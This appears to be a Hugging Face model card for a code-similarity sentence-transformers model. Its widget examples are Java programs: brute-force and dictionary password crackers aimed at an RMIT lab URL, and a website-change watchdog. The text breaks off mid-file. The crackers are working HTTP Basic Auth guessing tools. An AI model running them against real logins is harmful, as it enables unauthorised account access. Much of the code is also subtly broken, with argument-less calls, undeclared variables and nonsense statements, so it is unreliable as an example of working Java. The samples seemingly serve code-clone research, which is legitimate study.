metadata
tags:
- sentence-transformers
- sentence-similarity
- feature-extraction
- generated_from_trainer
- dataset_size:33411
- loss:BatchAllTripletLoss
base_model: microsoft/graphcodebert-base
widget:
- source_sentence: "\n\nimport java.util.*;\nimport java.*;\nimport java.awt.*;\nimport java.net.*;\nimport java.io.*;\nimport java.text.*;\n\npublic class BruteForce {\n \n \n \n public static String Base64Encode(String s) {\n byte[] bb = s.getBytes();\n byte[] b = bb;\n char[] table = { 'A','B','C','D','E','F','G','H','I','J','K','L','M','N','O','P','Q','R','S','T','U','V','W','X','Y','Z',\n 'a','b','c','d','e','f','g','h','i','j','k','l','m','n','o','p','q','r','s','t','u','v','w','x','y','z',\n '0','1','2','3','4','5','6','7','8','9','+','/' };\n if (bb.length % 3!=0) {\n int x1 = bb.length;\n \n b = new byte[(x1/3+1)*3];\n int x2 = b.length;\n \n for(int i=0;i<x1;i++)\n b[i] = bb[i];\n for(int i=x1;i<x2;i++)\n b[i] = 0;\n }\n \n char[] c = new char[b.length/3*4];\n \n int i=0, j=0;\n while (i+3<=b.length) {\n c[j] = table[(b[i] >> 2)];\n c[j+1] = table[(b[i+1] >> 4) | ((b[i] & 3) << 4)];\n c[j+2] = table[(b[i+2] >> 6) | ((b[i+1] & 15) << 2)];\n c[j+3] = table[(b[i+2] & 63)];\n i+=3;\n j+=4;\n }\n \n j = c.length-1;\n while (c[j]=='A') {\n c[j]='=';\n j--;\n }\n \n return String.valueOf(c);\n }\n \n \n public synchronized void getAccumulatedLocalAttempt() {\n attempt = 0;\n for (int i=0;i<MAXTHREAD;i++) {\n attempt += threads[i].getLocalAttempt();\n }\n }\n \n \n public synchronized void printStatusReport(String Attempt, String currprogress,String ovrl, double[] attmArr, int idx) {\n DecimalFormat fmt = new DecimalFormat();\n fmt.applyPattern(\"0.00\");\n \n System.out.println();\n System.out.println(\" ------------------------ [ CURRENT STATISTICS ] ---------------------------\");\n System.out.println();\n System.out.println(\" Current connections : \"+curconn);\n System.out.println(\" Current progress : \"+attempt+ \" of \"+ALLCOMBI+\" (\"+currprogress+\"%)\");\n System.out.println(\" Overall Attempts rate : \"+ovrl+\" attempts second (approx.)\");\n System.out.println();\n System.out.println(\" ---------------------------------------------------------------------------\");\n System.out.println();\n }\n \n \n public class MyTT extends TimerTask {\n \n public synchronized void run() {\n \n \n if (count==REPORT_INTERVAL) {\n \n DecimalFormat fmt = new DecimalFormat();\n fmt.applyPattern(\"0.00\");\n \n \n getAccumulatedLocalAttempt();\n double p = (double)attempt/(double)ALLCOMBI*100;\n \n \n double aps = (double) (attempt - attm) / REPORT_INTERVAL;\n \n \n attmArr[attmArrIdx++] = aps;\n \n \n printStatusReport(String.valueOf(attempt),fmt.format(p),fmt.format(getOverallAttemptPerSec()),attmArr,attmArrIdx);\n count = 0;\n } else\n \n if (count==0) {\n getAccumulatedLocalAttempt();\n attm = attempt;\n count++;\n } else {\n count++;\n }\n }\n \n \n public synchronized double getOverallAttemptPerSec() {\n double val = 0;\n for (int i=0;i<attmArrIdx;i++) {\n val+= attmArr[i];\n }\n return val / attmArrIdx;\n }\n \n private int count = 0;\n private int attm;\n private int attmArrIdx = 0;\n private double[] attmArr = new double[2*60*60/10]; \n }\n \n \n public synchronized void interruptAll(int ID) {\n for (int i=0;i<MAXTHREAD;i++) {\n if ((threads[i].isAlive()) && (i!=ID)) {\n threads[i].interrupt();\n }\n notifyAll();\n }\n }\n \n \n \n public synchronized void setSuccess(int ID, String p) {\n passw = p;\n success = ID;\n notifyAll();\n interruptAll(ID);\n \n \n end = System.currentTimeMillis();\n }\n \n \n public synchronized boolean isSuccess() {\n return (success>=0);\n }\n \n \n \n public synchronized void waitUntilAllTerminated() {\n while (curconn>0) {\n try {\n wait();\n } catch (InterruptedException e) {}\n }\n }\n \n \n \n \n public synchronized int waitUntilOK2Connect() {\n boolean interruptd= false;\n int idx = -1;\n \n \n \n \n while (curconn>=MAXCONN) {\n try {\n wait();\n } catch (InterruptedException e) { interruptd = true; }\n }\n \n \n \n if (!interruptd) {\n \n curconn++;\n for (idx=0;idx<MAXCONN;idx++)\n if (!connused[idx]) {\n connused[idx] = true;\n break;\n }\n \n notifyAll();\n }\n \n \n return idx;\n }\n \n \n public synchronized void decreaseConn(int idx) {\n curconn--;\n connused[idx] = false;\n \n \n notifyAll();\n }\n \n \n public class ThCrack extends Thread {\n \n \n public ThCrack(int threadID, int startidx, int endidx) {\n super(\" Thread #\"+String.valueOf(threadID)+\": \");\n this.ID = threadID;\n this.startidx = startidx;\n this.endidx = endidx;\n \n setDaemon(true);\n }\n \n \n public boolean launchRequest(String ID, int connID,String thePass) throws IOException, InterruptedException {\n int i ;\n String msg;\n \n \n URL tryURL = new URL(THEURL);\n \n \n connections[connID]=(HttpURLConnection) tryURL.openConnection();\n \n \n connections[connID].setRequestProperty(\"Authorization\",\" \"+Base64Encode(USERNAME+\":\"+thePass));\n \n \n i = connections[connID].getResponseCode();\n msg = connections[connID].getResponseMessage();\n connections[connID].disconnect();\n \n \n if (i==HttpURLConnection.HTTP_OK) {\n \n System.out.println(ID+\"Trying '\"+thePass+\"' GOTCHA !!! (= \"+String.valueOf()+\"-\"+msg+\").\");\n setSuccess(this.ID,thePass);\n return (true);\n } else {\n \n System.out.println(ID+\"Trying '\"+thePass+\"' FAILED (= \"+String.valueOf()+\"-\"+msg+\").\");\n return (false);\n }\n }\n \n \n public void rest(int msec) {\n try { sleep(msec); } catch (InterruptedException e) {}\n }\n \n \n \n public String constructPassword( int idx) {\n int i = idxLimit.length-2;\n boolean processed = false;\n \n String result = \"\";\n while (i>=0) {\n if (idx>=idxLimit[i]) {\n int nchar = i + 1;\n idx-=idxLimit[i];\n for (int j=0;j<nchar;j++) {\n x = (idx % NCHAR);\n result = charset.charAt((int) x) + result;\n idx /= NCHAR;\n }\n break;\n }\n i--;\n }\n \n return result;\n }\n \n \n public String getStartStr() {\n return constructPassword(this.startidx);\n }\n \n \n public String getEndStr() {\n return constructPassword(this.endidx);\n }\n \n \n public void run() {\n i = startidx;\n boolean keeprunning = true;\n while ((!isSuccess()) && (i<=endidx) && (keeprunning)) {\n \n \n int idx = waitUntilOK2Connect();\n \n \n if (idx==-1) {\n \n break;\n }\n \n try {\n \n launchRequest(getName(), idx, constructPassword(i));\n \n decreaseConn(idx);\n \n localattempt++;\n \n \n rest(MAXCONN);\n i++;\n } catch (InterruptedException e) {\n \n \n keeprunning = false;\n break;\n } catch (IOException e) {\n \n \n \n \n \n decreaseConn(idx);\n }\n }\n \n \n if (success==this.ID) {\n waitUntilAllTerminated();\n }\n }\n \n \n public int getLocalAttempt() {\n return localattempt;\n }\n \n private int startidx,endidx;\n private int ID;\n private int localattempt = 0;\n }\n \n \n public void printProgramHeader(String mode,int nThread) {\n System.out.println();\n System.out.println(\" ********************* [ BRUTE-FORCE CRACKING SYSTEM ] *********************\");\n System.out.println();\n System.out.println(\" URL : \"+THEURL);\n System.out.println(\" Crack Mode : \"+mode);\n System.out.println(\" Characters : \"+charset);\n System.out.println(\" . Char : \"+MINCHAR);\n System.out.println(\" . Char : \"+MAXCHAR);\n System.out.println(\" # of Thread : \"+nThread);\n System.out.println(\" Connections : \"+MAXCONN);\n System.out.println(\" All Combi. : \"+ALLCOMBI);\n System.out.println();\n System.out.println(\" ***************************************************************************\");\n System.out.println();\n }\n \n \n public void startNaiveCracking() {\n MAXTHREAD = 1;\n MAXCONN = 1;\n startDistCracking();\n }\n \n \n public void startDistCracking() {\n int startidx,endidx;\n int thcount;\n \n \n if (isenhanced) {\n printProgramHeader(\"ENHANCED BRUTE-FORCE CRACKING ALGORITHM\",MAXTHREAD);\n } else {\n printProgramHeader(\"NAIVE BRUTE-FORCE CRACKING ALGORITHM\",MAXTHREAD);\n }\n \n \n i = System.currentTimeMillis();\n \n idxstart = idxLimit[MINCHAR-1];\n \n \n \n \n \n \n if (MAXTHREAD>ALLCOMBI - idxstart) { MAXTHREAD = (int) (ALLCOMBI-idxstart); }\n mult = (ALLCOMBI - idxstart) / MAXTHREAD;\n \n \n \n for (thcount=0;thcount<MAXTHREAD-1;thcount++) {\n startidx = thcount*mult + idxstart;\n endidx = (thcount+1)*mult-1 + idxstart;\n threads[thcount] = new ThCrack(thcount, startidx, endidx);\n System.out.println(threads[thcount].getName()+\" try crack from '\"+threads[thcount].getStartStr()+\"' '\"+threads[thcount].getEndStr()+\"'\");\n }\n \n \n \n \n \n startidx = (MAXTHREAD-1)*mult + idxstart;\n endidx = ALLCOMBI-1;\n threads[MAXTHREAD-1] = new ThCrack(MAXTHREAD-1, startidx, endidx);\n System.out.println(threads[MAXTHREAD-1].getName()+\" try crack from '\"+threads[MAXTHREAD-1].getStartStr()+\"' '\"+threads[MAXTHREAD-1].getEndStr()+\"'\");\n \n System.out.println();\n System.out.println(\" ***************************************************************************\");\n System.out.println();\n \n \n for (int i=0;i<MAXTHREAD;i++)\n threads[i].print();\n }\n \n \n public BruteForce() {\n \n if (isenhanced) {\n startDistCracking();\n } else {\n startNaiveCracking();\n }\n \n \n reportTimer = new java.util.Timer();\n MyTT tt = new MyTT();\n reportTimer.schedule(tt,1000,1000);\n \n \n while ((success==-1) && (attempt<ALLCOMBI)) {\n try { Thread.sleep(100); getAccumulatedLocalAttempt(); } catch (InterruptedException e) { }\n }\n \n \n if (success==-1) {\n end = System.currentTimeMillis();\n }\n \n \n getAccumulatedLocalAttempt();\n \n double ovAps = tt.getOverallAttemptPerSec();\n DecimalFormat fmt = new DecimalFormat();\n fmt.applyPattern(\"0.00\");\n \n \n reportTimer.cancel();\n \n \n try { Thread.sleep(1000); } catch (InterruptedException e) { }\n \n \n synchronized (this) {\n if (success>=0) {\n System.out.println();\n System.out.println(\" ********************* [ URL SUCCESSFULLY CRACKED !! ] *********************\");\n System.out.println();\n System.out.println(\" The password is : \"+passw);\n System.out.println(\" Number of attempts : \"+attempt+\" of \"+ALLCOMBI+\" total combinations\");\n System.out.println(\" Attempt position : \"+fmt.format((double)attempt/(double)ALLCOMBI*100)+\"%\");\n System.out.println(\" Overal attempt rate : \"+fmt.format(ovAps)+ \" attempts/sec\");\n System.out.println(\" Cracking time : \"+String.valueOf(((double)end-(double)d)/1000) + \" seconds\");\n System.out.println(\" Worstcase time estd : \"+fmt.format(1/ovAps*ALLCOMBI)+ \" seconds\");\n System.out.println();\n System.out.println(\" ***************************************************************************\");\n System.out.println();\n } else {\n System.out.println();\n System.out.println(\" ********************* [ UNABLE CRACK THE URL !!! ] *********************\");\n System.out.println();\n System.out.println(\" Number of attempts : \"+attempt+\" of \"+ALLCOMBI+\" total combinations\");\n System.out.println(\" Attempt position : \"+fmt.format((double)attempt/(double)ALLCOMBI*100)+\"%\");\n System.out.println(\" Overal attempt rate : \"+fmt.format(ovAps)+ \" attempts/sec\");\n System.out.println(\" Cracking time : \"+String.valueOf(((double)end-(double)d)/1000) + \" seconds\");\n System.out.println();\n System.out.println(\" ***************************************************************************\");\n System.out.println();\n }\n }\n }\n \n \n public static void printSyntax() {\n System.out.println();\n System.out.println(\"Syntax : BruteForce [mode] [URL] [charset] [] [] [username]\");\n System.out.println();\n System.out.println(\" mode : (opt) 0 - NAIVE Brute force mode\");\n System.out.println(\" (trying from the first the last combinations)\");\n System.out.println(\" 1 - ENHANCED Brute force mode\");\n System.out.println(\" (dividing cracking jobs multiple threads) (default)\");\n System.out.println(\" URL : (opt) the URL crack \");\n System.out.println(\" (default : http://sec-crack.cs.rmit.edu./SEC/2/index.php)\");\n System.out.println(\" charset : (optional) the character set used crack.\");\n System.out.println(\" - (default)\");\n System.out.println(\" abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ\");\n System.out.println(\" -alphanum \");\n System.out.println(\" abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890\");\n System.out.println(\" -alphalow \");\n System.out.println(\" abcdefghijklmnopqrstuvwxyz\");\n System.out.println(\" -alphaup \");\n System.out.println(\" ABCDEFGHIJKLMNOPQRSTUVWXYZ\");\n System.out.println(\" -number \");\n System.out.println(\" 1234567890\");\n System.out.println(\" [custom] e.g. aAbB123\");\n System.out.println(\" , : (optional) range of characters applied in the cracking\");\n System.out.println(\" where 1 <= <= 10 (default = 1)\");\n System.out.println(\" <= <= 10 (default = 3)\");\n System.out.println(\" username : (optional) the username that is used crack\");\n System.out.println();\n System.out.println(\" NOTE: The optional parameters 'charset','','', and 'username'\");\n System.out.println(\" have specified altogether none at all.\");\n System.out.println(\" For example, if [charset] is specified, then [], [], and\");\n System.out.println(\" [username] have specified as well. If none of them specified,\");\n System.out.println(\" default values used.\");\n System.out.println();\n System.out.println(\" Example of invocation :\");\n System.out.println(\" java BruteForce \");\n System.out.println(\" java BruteForce 0\");\n System.out.println(\" java BruteForce 1 http://localhost/tryme.php\");\n System.out.println(\" java BruteForce 0 http://localhost/tryme.php - 1 3 \");\n System.out.println(\" java BruteForce 1 http://localhost/tryme.php aAbBcC 1 10 \");\n System.out.println();\n System.out.println();\n }\n \n \n \n \n \n \n \n \n public static void countIdxLimit() {\n idxLimit = new int[MAXCHAR+1];\n \n NCHAR = charset.length();\n ALLCOMBI = 0;\n for (int i=0;i<=MAXCHAR;i++) {\n if (i==0) {\n idxLimit[i] = 0;\n } else {\n idxLimit[i] = idxLimit[i-1] + Math.pow(NCHAR,i);\n }\n }\n \n ALLCOMBI = idxLimit[idxLimit.length-1];\n }\n \n \n public static void paramCheck(String[] args) {\n int argc = args.length;\n \n \n try {\n switch (Integer.valueOf(args[0]).intValue()) {\n case 0: {\n isenhanced = false;\n } break;\n case 1: {\n isenhanced = true;\n } break;\n default:\n System.out.println(\"Syntax error : invalid mode '\"+args[0]+\"'\");\n printSyntax();\n System.exit(1);\n }\n } catch (NumberFormatException e) {\n System.out.println(\"Syntax error : invalid number '\"+args[0]+\"'\");\n printSyntax();\n System.exit(1);\n }\n \n if (argc>1) {\n try {\n \n URL u = new URL(args[1]);\n \n \n try {\n HttpURLConnection conn = (HttpURLConnection) u.openConnection();\n \n switch (conn.getResponseCode()) {\n case HttpURLConnection.HTTP_ACCEPTED:\n case HttpURLConnection.HTTP_OK:\n case HttpURLConnection.HTTP_NOT_AUTHORITATIVE:\n case HttpURLConnection.HTTP_FORBIDDEN:\n case HttpURLConnection.HTTP_UNAUTHORIZED:\n break;\n default:\n \n \n System.out.println(\"Unable open connection the URL '\"+args[1]+\"'\");\n System.exit(1);\n }\n } catch (IOException e) {\n System.out.println(e);\n System.exit(1);\n }\n \n THEURL = args[1];\n } catch (MalformedURLException e) {\n \n System.out.println(\"Invalid URL '\"+args[1]+\"'\");\n printSyntax();\n System.exit(1);\n }\n }\n \n \n if (argc==6) {\n try {\n MINCHAR = Integer.valueOf(args[3]).intValue();\n } catch (NumberFormatException e) {\n System.out.println(\"Invalid range number value '\"+args[3]+\"'\");\n printSyntax();\n System.exit(1);\n }\n \n try {\n MAXCHAR = Integer.valueOf(args[4]).intValue();\n } catch (NumberFormatException e) {\n System.out.println(\"Invalid range number value '\"+args[4]+\"'\");\n printSyntax();\n System.exit(1);\n }\n \n if ((MINCHAR<1) || (MINCHAR>10)) {\n System.out.println(\"Invalid range number value '\"+args[3]+\"' (must between 0 and 10)\");\n printSyntax();\n System.exit(1);\n } else\n if (MINCHAR>MAXCHAR) {\n System.out.println(\"Invalid range number value '\"+args[3]+\"' (must lower than the value)\");\n printSyntax();\n System.exit(1);\n }\n \n if (MAXCHAR>10) {\n System.out.println(\"Invalid range number value '\"+args[4]+\"' (must between value and 10)\");\n printSyntax();\n System.exit(1);\n }\n \n if (args[2].toLowerCase().equals(\"-\")) {\n charset = \"abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ\";\n } else\n if (args[2].toLowerCase().equals(\"-alphanum\")) {\n charset = \"abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890\";\n } else\n if (args[2].toLowerCase().equals(\"-alphalow\")) {\n charset = \"abcdefghijklmnopqrstuvwxyz\";\n } else\n if (args[2].toLowerCase().equals(\"-alphaup\")) {\n charset = \"ABCDEFGHIJKLMNOPQRSTUVWXYZ\";\n } else\n if (args[2].toLowerCase().equals(\"-number\")) {\n charset = \"1234567890\";\n } else {\n charset = args[2];\n }\n \n USERNAME = args[5];\n } else\n if ((argc>2) && (argc<6)) {\n System.out.println(\"Please specify the [charset], [], [], and [username] altogether none at all\");\n printSyntax();\n System.exit(1);\n } else\n if ((argc>2) && (argc>6)) {\n System.out.println(\"The number of parameters expected is not more than 6. \");\n System.out.println(\" have specified more than 6 parameters.\");\n printSyntax();\n System.exit(1);\n }\n }\n \n public static void main (String[] args) {\n \n charset = \"abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ\";\n MINCHAR = 1;\n MAXCHAR = 3;\n \n \n if (args.length==0) {\n args = new String[6];\n args[0] = String.valueOf(1); \n args[1] = THEURL;\n args[2] = \"-\";\n args[3] = String.valueOf(MINCHAR);\n args[4] = String.valueOf(MAXCHAR);\n args[5] = USERNAME;\n }\n \n \n paramCheck(args);\n \n countIdxLimit();\n \n \n Application = new BruteForce();\n }\n \n public static BruteForce Application;\n public static String THEURL = \"http://sec-crack.cs.rmit.edu./SEC/2/index.php\";\n public static boolean isenhanced; \n public static String passw = \"\"; \n \n public static final int REPORT_INTERVAL = 10; \n public static int MAXTHREAD = 50; \n public static int MAXCONN = 50; \n public static int\t curconn = 0; \n public static int success = -1; \n \n public static String USERNAME = \"\"; \n public static int MINCHAR; \n public static int MAXCHAR; \n public static int ALLCOMBI; \n \n public static int start ,end; \n \n \n public static java.util.Timer reportTimer; \n public static HttpURLConnection connections[] = new HttpURLConnection[MAXCONN]; \n public static boolean\t connused[] = new boolean[MAXCONN]; \n public ThCrack[] threads = new ThCrack[MAXTHREAD]; \n public static int attempt = 0; \n public static int idxLimit; \n public static String charset; \n public static int NCHAR; \n}\n"
sentences:
- |
import java.util.*;
public class Dictionary {
private String strUsername;
private String strURL;
public Dictionary(String username, String url)
{
strUsername = username;
strURL = url;
}
public void run() {
Date dtStart, dtEnd;
PasswordFile pwd = new PasswordFile("/usr/dict/words");
PasswordTest tester;
int i=1;
boolean bDone = false;
Result res;
dtStart = new Date();
while(!bDone) {
tester = new PasswordTest(strURL, strUsername, pwd.getNextPassword());
bDone = tester;
i++;
if(bDone) {
res = new Result(strURL, strUsername, pwd.getPassword(), dtStart, new Date(), i);
System.out.print(res.toString());
}
else
{
}
if(pwd.getPassword() == null)
{
System.out.println("Exhausted word file without finding password");
bDone = true;
}
}
}
public static void main(String[] args) {
Dictionary dict = new Dictionary("", "http://sec-crack.cs.rmit.edu./SEC/2/");
dict.run();
}
}
- "\n\nimport java.text.*; \nimport java.util.*; \nimport java.net.*; \nimport java.io.*; \n\npublic class Dictionary { \n\n public int runProcess(String urlString,String passwd) { \n\n System.out.println(\"Checking password: ... \" + passwd);\n\n int returnval = 0;\n MyAuthenticator auth = new MyAuthenticator(passwd);\n Authenticator.setDefault(auth);\n\n try{\n\n URL yahoo = new URL(urlString); \n BufferedReader in = new BufferedReader(new InputStreamReader(yahoo.openStream()));\n String inputLine;\n\n while ((inputLine = in.readLine()) != null) {\n\t System.out.println(inputLine);\n\t System.out.println(\"password: \" + passwd);\n returnval = 1;\n }\n\n\t in.print();\n\n }catch(Exception e){ returnval = 0;}\n\n return returnval;\n }\n\n public static void main (String argv[]) { \n\n int retval = 0;\n String pwd = \"\";\n String inFile = \"/usr/share/lib/dict/words\";\n BufferedReader in = null;\n String line1 =\"\";\n\n try {\n \n Dictionary s = new Dictionary(); \n String urlToSearch = \"http://sec-crack.cs.rmit.edu./SEC/2/\"; \n in = new BufferedReader(new FileReader(inFile)); \n\n while ((line1=in.readLine()) != null) {\n\n retval = 0;\n pwd = line1;\n retval = s.runProcess(urlToSearch,pwd); \n if (retval > 0) {\n System.exit(0);\n }\n }\n }catch(Exception e)\n { e.printStackTrace();}\n \n } \n} \n"
- |
import java.io.*;
import java.util.*;
import java.*;
import java.net.*;
public class WatchDog
{
static Process p = null;
static Process qproc = null;
static BufferedReader bf = null;
static StringTokenizer tok = null;
static String Path = null;
static String str = null;
static String urlStr=null;
static boolean changed = false;
static File indexfile = new File("index.html");
static File tmpfile = new File("tmpindex.html");
static File mdfile = new File("md5file.txt");
static File tmpmdfile = new File("tmpmd5file.txt");
static PrintWriter mailwriter = null;
public static void main (String[] args)
{
urlStr = "http://www.cs.rmit.edu./";
try
{
mailwriter = new PrintWriter(new BufferedWriter(new FileWriter("tomail.txt", false)));
getLatest(urlStr);
parseFile();
mailwriter.read();
if(changed)
{
System.out.println("Sending Mail");
p = Runtime.getRuntime().exec("./mailscript");
p.waitFor();
}
else
System.out.println(" mail sent");
} catch (IOException ioe)
{
System.out.println("IOException");
ioe.printStackTrace();
}
catch (InterruptedException intex)
{
System.out.println("Interrupted Exception");
intex.printStackTrace();
}
}
static void getLatest(String urlStr)
{
URL url = null;
try
{
url = new URL(urlStr);
} catch (MalformedURLException mfurl)
{
System.out.println("Malformed URL");
mfurl.printStackTrace();
}
try
{
mailwriter.println();
p = Runtime.getRuntime().exec("/usr//pwd");
p.waitFor();
bf= new BufferedReader(new InputStreamReader(
p.getInputStream()));
Path=bf.readLine();
if (indexfile.exists())
{
mailwriter.println("File with name 'index.html' found in directory.");
mailwriter.println("Renaming existing 'index.html' 'tmpindex.html...");
p = Runtime.getRuntime().exec("/usr//mv "+indexfile+ " " + Path+"/"+tmpfile);
p.waitFor();
p = Runtime.getRuntime().exec("/usr//mv "+mdfile+ " " + Path+"/"+tmpmdfile);
mailwriter.println();
mailwriter.println("File with name 'md5file.txt' found in directory.");
mailwriter.print("Renaming existing 'md5file.txt' 'tmpmd5file.txt...");
mailwriter.println(".");
mailwriter.println();
}
mailwriter.println("Downloading current version of site - " + urlStr);
p = Runtime.getRuntime().exec("/usr/local//wget "+url);
p.waitFor();
if (!tmpfile.exists())
{
mailwriter.println("File - " + urlStr + "index.html saved disk for the first time.");
}
} catch (IOException ioe)
{
System.out.println("IOException");
ioe.printStackTrace();
}
catch (IndexOutOfBoundsException iobe)
{
System.out.println("Index Out Of Bounds Exception");
iobe.printStackTrace();
}
catch (Exception e)
{
System.out.println("Exception");
e.printStackTrace();
}
}
static void parseFile()
{
Vector imgVect = new Vector();
try
{
p = Runtime.getRuntime().exec("/usr//grep img " + Path + "/"+ indexfile);
p.waitFor();
bf = new BufferedReader(new InputStreamReader(
p.getInputStream()));
while((str=bf.readLine())!=null)
{
bf = new StringTokenizer(str, "\"", false);
while(bf.hasMoreTokens())
{
str=bf.nextToken();
if ((str.indexOf("gif") > 0) || (str.indexOf("jpg") > 0))
imgVect.addElement(str);
}
}
}catch (IOException ioe)
{
System.out.println("IOException");
ioe.printStackTrace();
}
catch (Exception e)
{
System.out.println("Exception");
e.printStackTrace();
}
mailwriter.println("Creating file with md5sums of the webpage and images...");
md5Create(imgVect);
}
static void md5Create(Vector imgVect)
{
String tmpString = null;
Vector imgNames = new Vector();
try
{
PrintWriter pr = new PrintWriter(new BufferedWriter(new FileWriter(mdfile, false)));
p=Runtime.getRuntime().exec("/usr/local//md5sum "+indexfile);
p.waitFor();
bf= new BufferedReader(new InputStreamReader(
p.getInputStream()));
pr.println(bf.readLine());
for(int i=0; i<imgVect.size();i++)
{
imgNames.insertElementAt((getImgNames((String)imgVect.elementAt(i))), i);
imgVect.setElementAt((getFullPath((String)imgVect.elementAt(i))), i);
p=Runtime.getRuntime().exec("/usr/local//md5sum "+(String)imgNames.elementAt(i));
p.waitFor();
bf= new BufferedReader(new InputStreamReader(
p.getInputStream()));
pr.println(bf.readLine());
rmImgFile(Path+"/"+(String)imgNames.elementAt(i));
}
pr.get();
} catch (IOException ioe)
{
System.out.println("IOException");
ioe.printStackTrace();
}
catch (InterruptedException intex)
{
System.out.println("Interrupted Exception");
intex.printStackTrace();
}
if (tmpmdfile.exists())
compVersions((imgVect.size())+1);
}
static void compVersions(int numlines)
{
int tmp = 0;
int x = 0;
String[] md5A = new String[numlines];
Vector tmpmd5V = new Vector();
String[] tmpmd5A = null;
StringTokenizer stoken = null;
String mdImgName = null;
String mdImgVal = null;
String tmpImgName = null;
String tmpImgVal = null;
try
{
bf = new BufferedReader(new FileReader(mdfile));
while((str = bf.readLine()) != null)
{
md5A[tmp]=str;
tmp++;
}
bf = new BufferedReader(new FileReader(tmpmdfile));
tmp=0;
while ((str = bf.readLine()) !=null)
{
tmpmd5V.addElement(str);
tmp++;
}
tmpmd5A = (String[])tmpmd5V.toArray(new String[tmpmd5V.size()]);
if (tmpmd5A[0].compareTo(md5A[0]) != 0)
{
mailwriter.println("---The file index.html has changed.---");
mailwriter.println("-Diff of old and new -");
changed=true;
mailwriter.println();
p=Runtime.getRuntime().exec("/usr/local//diff index.html tmpindex.html");
p.waitFor();
bf= new BufferedReader(new InputStreamReader(p.getInputStream()));
while ((str = bf.readLine()) != null)
mailwriter.println(str);
}
else
{
mailwriter.println("The file index.html hasn't changed.");
mailwriter.println();
}
mailwriter.println();
mailwriter.println("Changes Images");
mailwriter.println("-----------------");
for (tmp=1; tmp<md5A.length; tmp++)
{
stoken = new StringTokenizer(md5A[tmp]);
mdImgVal = stoken.nextToken();
mdImgName = stoken.nextToken();
for (x=1; x<tmpmd5A.length; x++)
{
stoken = new StringTokenizer(tmpmd5A[x]);
tmpImgVal = stoken.nextToken();
tmpImgName = stoken.nextToken();
if (mdImgName.compareTo(tmpImgName) == 0)
{
if(mdImgVal.compareTo(tmpImgVal) == 0)
{
break;
}
else
{
mailwriter.println("The image "+mdImgName+" has changed.");
changed=true;
break;
}
}
if (x == ((tmpmd5A.length)-1))
{
mailwriter.println("The image "+mdImgName+" is new this ");
changed=true;
}
}
}
for (tmp=1; tmp<tmpmd5A.length; tmp++)
{
stoken = new StringTokenizer(tmpmd5A[tmp]);
tmpImgVal = stoken.nextToken();
tmpImgName = stoken.nextToken();
for (x=1; x<md5A.length; x++)
{
stoken = new StringTokenizer(md5A[x]);
mdImgVal = stoken.nextToken();
mdImgName = stoken.nextToken();
if (tmpImgName.compareTo(mdImgName) == 0)
{
break;
}
if (x == ((md5A.length)-1))
{
mailwriter.println("The image "+tmpImgName+" is longer the ");
changed=true;
}
}
}
} catch(IOException ioe)
{System.out.println("IOException");
ioe.printStackTrace();
}
catch(InterruptedException iex)
{System.out.println("Interrupted Exception");
iex.printStackTrace();
}
}
static Object getFullPath(String fname)
{
if(fname.charAt(0)== '/')
fname=urlStr+fname;
else if(fname.charAt(0) != 'h')
fname=urlStr+'/'+fname;
getImgFile(fname);
return (Object)fname;
}
static void getImgFile(String fullPath)
{
try
{
qproc=Runtime.getRuntime().exec("/usr/local//wget "+fullPath);
qproc.waitFor();
} catch (IOException ioe)
{
System.out.println("IOException");
ioe.printStackTrace();
}
catch (InterruptedException intex)
{
System.out.println("Interrupted Exception");
intex.printStackTrace();
}
}
static void rmImgFile(String delpath)
{
try
{
qproc=Runtime.getRuntime().exec("/usr//rm "+ delpath);
qproc.waitFor();
} catch (IOException ioe)
{
System.out.println("IOException");
ioe.printStackTrace();
}
catch (InterruptedException intex)
{
System.out.println("Interrupted Exception");
intex.printStackTrace();
}
}
static Object getImgNames(String prsName)
{
String str = new StringTokenizer(prsName, "/", false);
while(str.hasMoreTokens())
{
str=bgf.nextToken();
if ((str.indexOf("gif") > 0) || (str.indexOf("jpg") > 0))
prsName=str;
}
return (Object)prsName;
}
}
- source_sentence: "\n\nimport java.net.*;\nimport java.io.IOException;\nimport java.util.*;\nimport java.io.*;\npublic class Dictionary {\n static String userName;\n static URL url;\n static URLAuthenticator urlAuthenticator;\n static int noOfAttempts;\n \n public Dictionary() {\n }\n\n public static void main (String args[]) {\n Properties props = System.getProperties();\n props.put(\"http.proxyHost\", \"bluetongue.cs.rmit.edu.:8080\");\n \n System.out.println(props.get(\"http.proxyHost\"));\n BufferedReader inFile = null;\n \n try {\n\t if (args.length < 1) { \n\t\t System.out.println (\"Usage : java Dictionary /usr/share/lib/dict/words\");\n System.exit(1);\n\t\t }\t \n\t \t inFile = new BufferedReader (new FileReader(args[0]));\n\n\n\n\t \t breakPassword(inFile);\n\t\t}\n\t\t\n\t\tcatch (FileNotFoundException e) { \n\t\t System.err.println(e.getMessage());\n\t\t System.exit(1);\n }\n catch (IOException e) { \n System.err.println(e.getMessage());\n System.exit(1);\n }\n\t finally {\n \t try {\n\t\t inFile.close(); \n\n\t }\n\t catch (IOException ex) {ex.printStackTrace();} \n\t}\n\n }\n private static void breakPassword (BufferedReader file) throws\n IOException {\n String password=\" \";\n userName=\"\";\n boolean found= false;\n MyHttpURLConnection httpURLConnection;\n String passBase64=\" \";\n urlAuthenticator = new URLAuthenticator(userName);\n HttpURLConnection u=null;\n String input;\n\ttry {\n\t \n\t url = new URL (\"http://sec-crack.cs.rmit.edu./SEC/2/index.php\");\n \t \n } catch (MalformedURLException e){\n\t } catch (IOException io) {io.printStackTrace();}\n\t\n while (( input = file.readLine()) != null) {\n\t if (input.length() <=3) {\n password = input;\n\t\t password =\":\"+ password;\n \t \n try {\n u = (HttpURLConnection)url.openConnection();\n\t\t passBase64 = new url.misc.BASE64Encoder().encode(password.getBytes());\n u.setRequestProperty(\"Authorization\", \" \" + passBase64);\n\t\t\t \n\n\t\t\t\n u.connect();\n\t\t noOfAttempts++;\t\n\t\t if (u.getContentLength() != 0) { \n\t\t \n\t\t if (u.getResponseCode() == HttpURLConnection.HTTP_OK ) {\n\t\t \n\t found=true;\n \t\t System.out.println(\"Your User Name : Password Combination is :\"+password+ \n\t\t\t \" \"+ \" Found by 